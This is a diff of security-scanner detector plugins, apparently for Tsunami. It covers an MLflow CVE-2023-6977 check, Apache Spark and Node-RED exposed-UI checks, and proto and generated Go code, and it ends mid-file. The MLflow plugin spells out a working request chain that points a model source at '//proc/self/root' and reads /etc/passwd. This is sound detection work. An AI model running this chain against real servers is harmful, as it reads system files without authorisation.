"{\"name\":\"{{ model_name }}\"}" + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: {} contains: "{{ model_name }}" } + ] + } + } + } + cleanup_actions: "clean_model" +} + +actions: { + name: "update_model" + http_request: { + method: POST + uri: "/ajax-api/2.0/mlflow/model-versions/create" + headers: [ + { name: "Content-Type" value: "application/json" } + ] + data: "{\"name\":\"{{ model_name }}\",\"source\":\"//proc/self/root\"}" + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: {} contains: "{{ model_name }}" } + ] + } + } + } +} + +actions: { + name: "read_file" + http_request: { + method: GET + uri: "/model-versions/get-artifact?path=etc/passwd&name={{ model_name }}&version=1" + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: {} contains: "root:x:0:0:root" } + ] + } + } + } +} + +actions: { + name: "clean_model" + http_request: { + method: DELETE + uri: "/ajax-api/2.0/mlflow/registered-models/delete" + headers: [ + { name: "Content-Type" value: "application/json" } + ] + data: "{\"name\":\"{{ model_name }}\"}" + response: { + http_status: 200 + } + } +} + +############# +# WORKFLOWS # +############# + +workflows: { + variables: [ + { name: "model_name" value: "Tsunami-Test{{ T_UTL_CURRENT_TIMESTAMP_MS }}" } + ] + actions: [ + "create_model", + "update_model", + "read_file" + ] +} diff --git a/templated/templateddetector/plugins/cve/2023/MLFlow_CVE_2023_6977_test.textproto b/templated/templateddetector/plugins/cve/2023/MLFlow_CVE_2023_6977_test.textproto new file mode 100644 index 000000000..0abcd0a6a --- /dev/null +++ b/templated/templateddetector/plugins/cve/2023/MLFlow_CVE_2023_6977_test.textproto @@ -0,0 +1,96 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests +config: { + tested_plugin: "MLFlow_CVE_2023_6977" +} + +tests: { + name: "whenVulnerable_returnsVuln" + expect_vulnerability: true + mock_http_server: { + mock_responses: [ + { + uri: "/ajax-api/2.0/mlflow/registered-models/create" + status: 200 + body_content: + '{"registered_model": {"name": "Tsunami-Test{{ T_UTL_CURRENT_TIMESTAMP_MS }}", "creation_timestamp": 1739400187970, "last_updated_timestamp": 1739400187970}}' + }, + { + uri: "/ajax-api/2.0/mlflow/model-versions/create" + status: 200 + body_content: + '{"model_version": {"name": "Tsunami-Test{{ T_UTL_CURRENT_TIMESTAMP_MS }}", "version": "1", "creation_timestamp": 1739402980671, "last_updated_timestamp": 1739402980671, "current_stage": "None", "description": "", "source": "//proc/self/root", "run_id": "", "status": "READY", "run_link": ""}}' + }, + { + uri: "/model-versions/get-artifact?path=etc/passwd&name=Tsunami-Test{{ T_UTL_CURRENT_TIMESTAMP_MS }}&version=1" + status: 200 + body_content: "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" + }, + { + uri: "/ajax-api/2.0/mlflow/registered-models/delete" + status: 200 + } + ] + } +} +tests: { + name: "whenModelCreationFails_returnsNoVuln" + expect_vulnerability: false + mock_http_server: { + mock_responses: [ + { + uri: "/ajax-api/2.0/mlflow/registered-models/create" + status: 400 + body_content: + '{"error_code": "RESOURCE_ALREADY_EXISTS"}' + } + ] + } +} + +tests: { + name: "whenUpdateModelFails_returnsNoVuln" + expect_vulnerability: false + mock_http_server: { + mock_responses: [ + { + uri: "/ajax-api/2.0/mlflow/registered-models/create" + status: 200 + body_content: + '{"registered_model": {"name": "Tsunami-Test{{ T_UTL_CURRENT_TIMESTAMP_MS }}", "creation_timestamp": 1739400187970, "last_updated_timestamp": 1739400187970}}' + }, + { + uri: "/ajax-api/2.0/mlflow/model-versions/create" + status: 400 + body_content: + '{"error_code": "INVALID_PARAMETER_VALUE"}' + } + ] + } +} + +tests: { + name: "whenReadFileFails_returnsNoVuln" + expect_vulnerability: false + mock_http_server: { + mock_responses: [ + { + uri: "/ajax-api/2.0/mlflow/registered-models/create" + status: 200 + body_content: + '{"registered_model": {"name": "Tsunami-Test{{ T_UTL_CURRENT_TIMESTAMP_MS }}", "creation_timestamp": 1739400187970, "last_updated_timestamp": 1739400187970}}' + }, + { + uri: "/ajax-api/2.0/mlflow/model-versions/create" + status: 200 + body_content: + '{"model_version": {"name": "Tsunami-Test{{ T_UTL_CURRENT_TIMESTAMP_MS }}", "version": "1", "creation_timestamp": 1739402980671, "last_updated_timestamp": 1739402980671, "current_stage": "None", "description": "", "source": "//proc/self/root", "run_id": "", "status": "READY", "run_link": ""}}' + }, + { + uri: "/model-versions/get-artifact?path=etc/passwd&name=Tsunami-Test{{ T_UTL_CURRENT_TIMESTAMP_MS }}&version=1" + status: 200 + body_content: "irrelevant" + } + ] + } +} diff --git a/templated/templateddetector/plugins/cve/2024/Cyberpanel_CVE_2024_51568.textproto b/templated/templateddetector/plugins/cve/2024/Cyberpanel_CVE_2024_51568.textproto index 65037102c..207c5f783 100644 --- a/templated/templateddetector/plugins/cve/2024/Cyberpanel_CVE_2024_51568.textproto +++ b/templated/templateddetector/plugins/cve/2024/Cyberpanel_CVE_2024_51568.textproto @@ -17,6 +17,7 @@ finding: { publisher: "GOOGLE" value: "CYBERPANEL_PREAUTH_RCE" } + severity: CRITICAL title: "Cyberpanel is vulnerable to pre-authentication remote code execution" description: "The instance of Cyberpanel is vulnerable to pre-authentication remote code execution (CVE-2024-51568)." recommendation: "Update to version 2.3.7 or higher." @@ -56,7 +57,7 @@ actions: { name: "trigger_code_execution" http_request: { method: PUT - uri: "dataBases/upgrademysqlstatus" + uri: "/dataBases/upgrademysqlstatus" headers: [ { name: "Content-Type" value: "application/json" }, { name: "Cookie" value: "csrftoken={{ csrfcookie }}" }, diff --git a/templated/templateddetector/plugins/cve/2024/Cyberpanel_CVE_2024_51568_test.textproto b/templated/templateddetector/plugins/cve/2024/Cyberpanel_CVE_2024_51568_test.textproto index b3c222d83..fb11ce9b6 100644 --- a/templated/templateddetector/plugins/cve/2024/Cyberpanel_CVE_2024_51568_test.textproto +++ b/templated/templateddetector/plugins/cve/2024/Cyberpanel_CVE_2024_51568_test.textproto @@ -64,7 +64,7 @@ tests: { mock_http_server: { mock_responses: [ { - uri: "TSUNAMI_ANY_URI" + uri: "TSUNAMI_MAGIC_ANY_URI" status: 200 body_content: "Login to your Drupal account" } diff --git a/templated/templateddetector/plugins/examples/ExampleTemplated.textproto b/templated/templateddetector/plugins/examples/ExampleTemplated.textproto index 9b1851214..2321525f5 100644 --- a/templated/templateddetector/plugins/examples/ExampleTemplated.textproto +++ b/templated/templateddetector/plugins/examples/ExampleTemplated.textproto @@ -17,6 +17,7 @@ finding: { publisher: "GOOGLE" value: "SOME_PLUGIN_DETECTION" } + severity: CRITICAL title: "Example templated plugin" description: "This is an example templated plugin." recommendation: "No recommendation, this is an example." diff --git a/templated/templateddetector/plugins/exposedui/ApacheSpark_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/ApacheSpark_ExposedUI.textproto new file mode 100644 index 000000000..a60ec90cb --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/ApacheSpark_ExposedUI.textproto @@ -0,0 +1,60 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "ApacheSpark_ExposedUI" + author: "Timo Mueller (work@mtimo.de)" + version: "0.1" +} + +finding: { + main_id: { + publisher: "TSUNAMI_COMMUNITY" + value: "Apache_Spark_Exposed_WebUI" + } + title: + "Exposed Apache Spark UI which discloses information about the Apache " + "Spark environment and its' tasks." + description: + "An exposed Apache Spark Web UI provides attackers information about the " + "Apache Spark UI and its' tasks. The disclosed information might leak " + "other configured Apache Spark nodes and the output of previously run " + "tasks. Depending on the task, the output might contain sensitive " + "information which was logged during the task execution." + recommendation: "Don't expose the Apache Spark Web UI to unauthenticated attackers." + severity: MEDIUM +} + +########### +# ACTIONS # +########### + +actions: { + name: "is_apache_spark" + http_request: { + method: GET + uri: "/" + response: { + http_status: 200 + expect_all: { + conditions: { body: {} contains: "Spark " } + conditions: { body: {} contains: "onClick=\"collapseTable(\'collapse-aggregated-" } + } + } + } +} + +############# +# WORKFLOWS # +############# + +workflows: { + actions: [ + "is_apache_spark" + ] +} diff --git a/templated/templateddetector/plugins/exposedui/ApacheSpark_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/ApacheSpark_ExposedUI_test.textproto new file mode 100644 index 000000000..7b2195f4a --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/ApacheSpark_ExposedUI_test.textproto @@ -0,0 +1,55 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "ApacheSpark_ExposedUI" +} + +tests: { + name: "whenVulnerable_returnsVuln" + expect_vulnerability: true + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: + "<title>Spark Worker at 192.168.48.3:36075" + } + ] + } +} + +tests: { + name: "whenNotApacheSpark_returnsNoVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: "random response" + } + ] + } +} + +tests: { + name: "whenNotVulnerable_returnsNoVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 403 + } + ] + } +} + diff --git a/templated/templateddetector/plugins/exposedui/NodeRED_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/NodeRED_ExposedUI.textproto new file mode 100644 index 000000000..d145b828d --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/NodeRED_ExposedUI.textproto @@ -0,0 +1,78 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "NodeRED_ExposedUI" + author: "Nicolas Golubovic (ngolubovic@google.com)" + version: "0.2" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "NODERED_EXPOSED_UI" + } + title: "Exposed Node-RED instance" + description: "Node-RED instance is exposed and can be used to compromise the system." + recommendation: + "Configure authentication or ensure the Node-RED instance is not exposed " + "to the network. See " + "https://nodered.org/docs/user-guide/runtime/securing-node-red for details." + severity: CRITICAL +} + +########### +# ACTIONS # +########### + +actions: { + name: "is_nodered" + http_request: { + method: GET + uri: "/red/tours/welcome.js" + response: { + http_status: 200 + expect_all: { + conditions: { body: {} contains: "Welcome to Node-RED" } + } + } + } +} + + +# Checks if the settings are accessible. The /settings page will either return a +# JSON content or a permission denied error depending on the configuration for +# authentication. Because /settings can be a pretty common endpoint, we want to +# ensure that this is a rednode instance whilst not really performing JSON +# parsing hence the pattern matching instead. +actions: { + name: "is_settings_available" + http_request: { + method: GET + uri: "/settings" + response: { + http_status: 200 + expect_all: { + conditions: { body {} contains: '"httpNodeRoot"' } + conditions: { body {} contains: '"version"' } + conditions: { body {} contains: '"workflow"' } + } + } + } +} + +############# +# WORKFLOWS # +############# + +workflows: { + actions: [ + "is_nodered", + "is_settings_available" + ] +} diff --git a/templated/templateddetector/plugins/exposedui/NodeRED_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/NodeRED_ExposedUI_test.textproto new file mode 100644 index 000000000..397399477 --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/NodeRED_ExposedUI_test.textproto @@ -0,0 +1,87 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "NodeRED_ExposedUI" +} + +tests: { + name: "whenVulnerable_returnsVuln" + expect_vulnerability: true + + mock_http_server: { + mock_responses: [ + { + uri: "/red/tours/welcome.js" + status: 200 + body_content: + 'export default { version: "3.1.0", steps: [{' + 'titleIcon: "fa fa-map-o", title: { ' + '"en-US": "Welcome to Node-RED 3.1!", ...' + }, + { + uri: "/settings" + status: 200 + body_content: + '{"httpNodeRoot":"/","version":"3.1.5","context":{"default":"memory",' + '"stores":["memory"]},"codeEditor":{"lib":"monaco","options":{}},' + '"markdownEditor":{"mermaid":{"enabled":true}},"libraries":[{"id":' + '"local","label":"editor:library.types.local","user":false,"icon":' + '"font-awesome/fa-hdd-o"},{"id":"examples","label":' + '"editor:library.types.examples","user":false,"icon":' + '"font-awesome/fa-life-ring","types":["flows"],"readOnly":true}],' + '"flowFilePretty":true,"externalModules":{},"flowEncryptionType":' + '"system","diagnostics":{"enabled":true,"ui":true},"runtimeState":' + '{"enabled":false,"ui":false},"functionExternalModules":true,' + '"functionTimeout":0,"tlsConfigDisableLocalFiles":false,"editorTheme"' + ':{"palette":{},"projects":{"enabled":false,"workflow":{"mode":' + '"manual"}},"languages":["de","en-US","es-ES","fr","ja","ko","pt-BR",' + '"ru","zh-CN","zh-TW"]}}%' + } + ] + } +} + + +tests: { + name: "whenNotNodeRed_returnsNoVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/red/tours/welcome.js" + status: 200 + body_content: "Joomla" + }, + { + uri: "/settings" + status: 200 + body_content: "irrelevant" + } + ] + } +} + +tests: { + name: "whenNotNodeRedSettings_returnsNoVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/red/tours/welcome.js" + status: 200 + body_content: + 'export default { version: "3.1.0", steps: [{' + 'titleIcon: "fa fa-map-o", title: { ' + '"en-US": "Welcome to Node-RED 3.1!", ...' + }, + { + uri: "/settings" + status: 200 + body_content: "not node red settings" + } + ] + } +} \ No newline at end of file diff --git a/templated/templateddetector/proto/action_callbackserver.proto b/templated/templateddetector/proto/action_callbackserver.proto index f52577815..16ea40f61 100644 --- a/templated/templateddetector/proto/action_callbackserver.proto +++ b/templated/templateddetector/proto/action_callbackserver.proto @@ -4,6 +4,7 @@ package tsunami_templated_detector; option java_multiple_files = true; option java_package = "com.google.tsunami.templatedplugin.proto"; +option go_package = "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto"; // CallbackServerAction is used to perform actions that are related to the // callback server. diff --git a/templated/templateddetector/proto/action_http.proto b/templated/templateddetector/proto/action_http.proto index b42de9467..324ce331e 100644 --- a/templated/templateddetector/proto/action_http.proto +++ b/templated/templateddetector/proto/action_http.proto @@ -4,6 +4,7 @@ package tsunami_templated_detector; option java_multiple_files = true; option java_package = "com.google.tsunami.templatedplugin.proto"; +option go_package = "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto"; // HttpAction is used to perform HTTP requests. message HttpAction { diff --git a/templated/templateddetector/proto/action_utils.proto b/templated/templateddetector/proto/action_utils.proto new file mode 100644 index 000000000..45f8f73b4 --- /dev/null +++ b/templated/templateddetector/proto/action_utils.proto @@ -0,0 +1,19 @@ +syntax = "proto3"; + +package tsunami_templated_detector; + +option java_multiple_files = true; +option java_package = "com.google.tsunami.templatedplugin.proto"; +option go_package = "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto"; + +message SleepUtilityAction { + // The duration of the sleep in milliseconds. + int64 duration_ms = 1; +} + +// Set of utilities that can be used by plugins. +message UtilityAction { + oneof action { + SleepUtilityAction sleep = 1; + } +} diff --git a/templated/templateddetector/proto/mock_callback_server_tests.proto b/templated/templateddetector/proto/mock_callback_server_tests.proto new file mode 100644 index 000000000..81de959c1 --- /dev/null +++ b/templated/templateddetector/proto/mock_callback_server_tests.proto @@ -0,0 +1,16 @@ +syntax = "proto3"; + +package tsunami_templated_detector_tests; + +option java_multiple_files = true; +option java_package = "com.google.tsunami.templatedplugin.proto.tests"; +option go_package = "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto"; + +message MockCallbackServer { + // Whether the callback server is present in the test. + bool enabled = 1; + + // Whether the callback server reports an interaction. This usually means + // that true should return a vulnerability. + bool has_interaction = 2; +} diff --git a/templated/templateddetector/proto/action_http_tests.proto b/templated/templateddetector/proto/mock_http_server_tests.proto similarity index 76% rename from templated/templateddetector/proto/action_http_tests.proto rename to templated/templateddetector/proto/mock_http_server_tests.proto index 70ec87b5e..f15c57d20 100644 --- a/templated/templateddetector/proto/action_http_tests.proto +++ b/templated/templateddetector/proto/mock_http_server_tests.proto @@ -4,9 +4,10 @@ package tsunami_templated_detector_tests; option java_multiple_files = true; option java_package = "com.google.tsunami.templatedplugin.proto.tests"; +option go_package = "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto"; -// HttpTestAction is used to write unit tests for HTTP requests. -message HttpTestAction { +// MockHttpServer mocks an HTTP server. +message MockHttpServer { message HttpHeader { string name = 1; string value = 2; @@ -26,6 +27,10 @@ message HttpTestAction { int32 status = 1; // The URI on which this mock response will be returned. + // Note that in the context of the mock, it **must** contain all GET + // parameters. For example, `index.php?foo=bar`. + // Although the leading slash is optional, it is recommended to include it + // for clarity. string uri = 2; // The HTTP headers that the mock response will contain. diff --git a/templated/templateddetector/proto/templated_plugin.proto b/templated/templateddetector/proto/templated_plugin.proto index 259cfc933..98077cb7b 100644 --- a/templated/templateddetector/proto/templated_plugin.proto +++ b/templated/templateddetector/proto/templated_plugin.proto @@ -6,9 +6,11 @@ import "plugin_representation.proto"; import "vulnerability.proto"; import "action_http.proto"; import "action_callbackserver.proto"; +import "action_utils.proto"; option java_multiple_files = true; option java_package = "com.google.tsunami.templatedplugin.proto"; +option go_package = "github.com/google/tsunami-security-scanner-plugins/templated/templateddetector/proto/templated_plugin_go_proto"; // An action is a single unit of work that the plugin can perform. For example // sending an HTTP request. Each returns a boolean indicating whether the @@ -19,10 +21,17 @@ message PluginAction { // workflows. It must be named using the `[a-zA-Z0-9_]` character set. string name = 1; + // A set of cleanup action to be executed if this action is successful. + // Once the current action succeed, the cleanups are registered and will + // always be executed after the last workflow action, whether it is successful + // or not. + repeated string cleanup_actions = 2; + // Each action can have one of the following types. oneof any_action { - HttpAction http_request = 2; - CallbackServerAction callback_server = 3; + HttpAction http_request = 3; + CallbackServerAction callback_server = 4; + UtilityAction utility = 5; } } diff --git a/templated/templateddetector/proto/templated_plugin_go_proto/action_callbackserver.pb.go b/templated/templateddetector/proto/templated_plugin_go_proto/action_callbackserver.pb.go new file mode 100644 index 000000000..9ce562873 --- /dev/null +++ b/templated/templateddetector/proto/templated_plugin_go_proto/action_callbackserver.pb.go @@ -0,0 +1,198 @@ +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.36.5 +// protoc v3.21.12 +// source: action_callbackserver.proto + +package templated_plugin_go_proto + +import ( + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" + unsafe "unsafe" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +type CallbackServerAction_ActionType int32 + +const ( + CallbackServerAction_ACTION_TYPE_UNSPECIFIED CallbackServerAction_ActionType = 0 + CallbackServerAction_CHECK CallbackServerAction_ActionType = 1 +) + +// Enum value maps for CallbackServerAction_ActionType. +var ( + CallbackServerAction_ActionType_name = map[int32]string{ + 0: "ACTION_TYPE_UNSPECIFIED", + 1: "CHECK", + } + CallbackServerAction_ActionType_value = map[string]int32{ + "ACTION_TYPE_UNSPECIFIED": 0, + "CHECK": 1, + } +) + +func (x CallbackServerAction_ActionType) Enum() *CallbackServerAction_ActionType { + p := new(CallbackServerAction_ActionType) + *p = x + return p +} + +func (x CallbackServerAction_ActionType) String() string { + return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) +} + +func (CallbackServerAction_ActionType) Descriptor() protoreflect.EnumDescriptor { + return file_action_callbackserver_proto_enumTypes[0].Descriptor() +} + +func (CallbackServerAction_ActionType) Type() protoreflect.EnumType { + return &file_action_callbackserver_proto_enumTypes[0] +} + +func (x CallbackServerAction_ActionType) Number() protoreflect.EnumNumber { + return protoreflect.EnumNumber(x) +} + +// Deprecated: Use CallbackServerAction_ActionType.Descriptor instead. +func (CallbackServerAction_ActionType) EnumDescriptor() ([]byte, []int) { + return file_action_callbackserver_proto_rawDescGZIP(), []int{0, 0} +} + +// CallbackServerAction is used to perform actions that are related to the +// callback server. +type CallbackServerAction struct { + state protoimpl.MessageState `protogen:"open.v1"` + // The action to perform. `CHECK` is probably the most common and is used to + // check whether the vulnerability was received by the callback server. + ActionType CallbackServerAction_ActionType `protobuf:"varint,1,opt,name=action_type,json=actionType,proto3,enum=tsunami_templated_detector.CallbackServerAction_ActionType" json:"action_type,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *CallbackServerAction) Reset() { + *x = CallbackServerAction{} + mi := &file_action_callbackserver_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *CallbackServerAction) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CallbackServerAction) ProtoMessage() {} + +func (x *CallbackServerAction) ProtoReflect() protoreflect.Message { + mi := &file_action_callbackserver_proto_msgTypes[0] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CallbackServerAction.ProtoReflect.Descriptor instead. +func (*CallbackServerAction) Descriptor() ([]byte, []int) { + return file_action_callbackserver_proto_rawDescGZIP(), []int{0} +} + +func (x *CallbackServerAction) GetActionType() CallbackServerAction_ActionType { + if x != nil { + return x.ActionType + } + return CallbackServerAction_ACTION_TYPE_UNSPECIFIED +} + +var File_action_callbackserver_proto protoreflect.FileDescriptor + +var file_action_callbackserver_proto_rawDesc = string([]byte{ + 0x0a, 0x1b, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x5f, 0x63, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, + 0x6b, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x1a, 0x74, + 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, + 0x5f, 0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x22, 0xaa, 0x01, 0x0a, 0x14, 0x43, 0x61, + 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x41, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x5c, 0x0a, 0x0b, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x5f, 0x74, 0x79, 0x70, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x3b, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, + 0x69, 0x5f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x64, 0x65, 0x74, 0x65, + 0x63, 0x74, 0x6f, 0x72, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x54, 0x79, 0x70, 0x65, 0x52, 0x0a, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x79, 0x70, 0x65, + 0x22, 0x34, 0x0a, 0x0a, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1b, + 0x0a, 0x17, 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x54, 0x59, 0x50, 0x45, 0x5f, 0x55, 0x4e, + 0x53, 0x50, 0x45, 0x43, 0x49, 0x46, 0x49, 0x45, 0x44, 0x10, 0x00, 0x12, 0x09, 0x0a, 0x05, 0x43, + 0x48, 0x45, 0x43, 0x4b, 0x10, 0x01, 0x42, 0x9c, 0x01, 0x0a, 0x28, 0x63, 0x6f, 0x6d, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, 0x2e, 0x74, 0x65, + 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x50, 0x01, 0x5a, 0x6e, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, + 0x6d, 0x2f, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d, 0x69, + 0x2d, 0x73, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x2d, 0x73, 0x63, 0x61, 0x6e, 0x6e, 0x65, + 0x72, 0x2d, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x73, 0x2f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, + 0x74, 0x65, 0x64, 0x2f, 0x74, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x64, 0x64, 0x65, 0x74, + 0x65, 0x63, 0x74, 0x6f, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x74, 0x65, 0x6d, 0x70, + 0x6c, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x70, 0x6c, 0x75, 0x67, 0x69, 0x6e, 0x5f, 0x67, 0x6f, 0x5f, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, +}) + +var ( + file_action_callbackserver_proto_rawDescOnce sync.Once + file_action_callbackserver_proto_rawDescData []byte +) + +func file_action_callbackserver_proto_rawDescGZIP() []byte { + file_action_callbackserver_proto_rawDescOnce.Do(func() { + file_action_callbackserver_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_action_callbackserver_proto_rawDesc), len(file_action_callbackserver_proto_rawDesc))) + }) + return file_action_callbackserver_proto_rawDescData +} + +var file_action_callbackserver_proto_enumTypes = make([]protoimpl.EnumInfo, 1) +var file_action_callbackserver_proto_msgTypes = make([]protoimpl.MessageInfo, 1) +var file_action_callbackserver_proto_goTypes = []any{ + (CallbackServerAction_ActionType)(0), // 0: tsunami_templated_detector.CallbackServerAction.ActionType + (*CallbackServerAction)(nil), // 1: tsunami_templated_detector.CallbackServerAction +} +var file_action_callbackserver_proto_depIdxs = []int32{ + 0, // 0: tsunami_templated_detector.CallbackServerAction.action_type:type_name -> tsunami_templated_detector.CallbackServerAction.ActionType + 1, // [1:1] is the sub-list for method output_type + 1, // [1:1] is the sub-list for method input_type + 1, // [1:1] is the sub-list for extension type_name + 1, // [1:1] is the sub-list for extension extendee + 0, // [0:1] is the sub-list for field type_name +} + +func init() { file_action_callbackserver_proto_init() } +func file_action_callbackserver_proto_init() { + if File_action_callbackserver_proto != nil { + return + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: unsafe.Slice(unsafe.StringData(file_action_callbackserver_proto_rawDesc), len(file_action_callbackserver_proto_rawDesc)), + NumEnums: 1, + NumMessages: 1, + NumExtensions: 0, + NumServices: 0, + }, + GoTypes: file_action_callbackserver_proto_goTypes, + DependencyIndexes: file_action_callbackserver_proto_depIdxs, + EnumInfos: file_action_callbackserver_proto_enumTypes, + MessageInfos: file_action_callbackserver_proto_msgTypes, + }.Build() + File_action_callbackserver_proto = out.File + file_action_callbackserver_proto_goTypes = nil + file_action_callbackserver_proto_depIdxs = nil +} diff --git a/templated/templateddetector/proto/templated_plugin_go_proto/action_http.pb.go b/templated/templateddetector/proto/templated_plugin_go_proto/action_http.pb.go new file mode 100644 index 000000000..158c9bfd3 --- /dev/null +++ b/templated/templateddetector/proto/templated_plugin_go_proto/action_http.pb.go @@ -0,0 +1,1055 @@ +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.36.5 +// protoc v3.21.12 +// source: action_http.proto + +package templated_plugin_go_proto + +import ( + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" + unsafe "unsafe" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +type HttpAction_HttpMethod int32 + +const ( + HttpAction_METHOD_UNSPECIFIED HttpAction_HttpMethod = 0 + HttpAction_GET HttpAction_HttpMethod = 1 + HttpAction_POST HttpAction_HttpMethod = 2 + HttpAction_PUT HttpAction_HttpMethod = 3 + HttpAction_DELETE HttpAction_HttpMethod = 4 + HttpAction_HEAD HttpAction_HttpMethod = 5 +) + +// Enum value maps for HttpAction_HttpMethod. +var ( + HttpAction_HttpMethod_name = map[int32]string{ + 0: "METHOD_UNSPECIFIED", + 1: "GET", + 2: "POST", + 3: "PUT", + 4: "DELETE", + 5: "HEAD", + } + HttpAction_HttpMethod_value = map[string]int32{ + "METHOD_UNSPECIFIED": 0, + "GET": 1, + "POST": 2, + "PUT": 3, + "DELETE": 4, + "HEAD": 5, + } +) + +func (x HttpAction_HttpMethod) 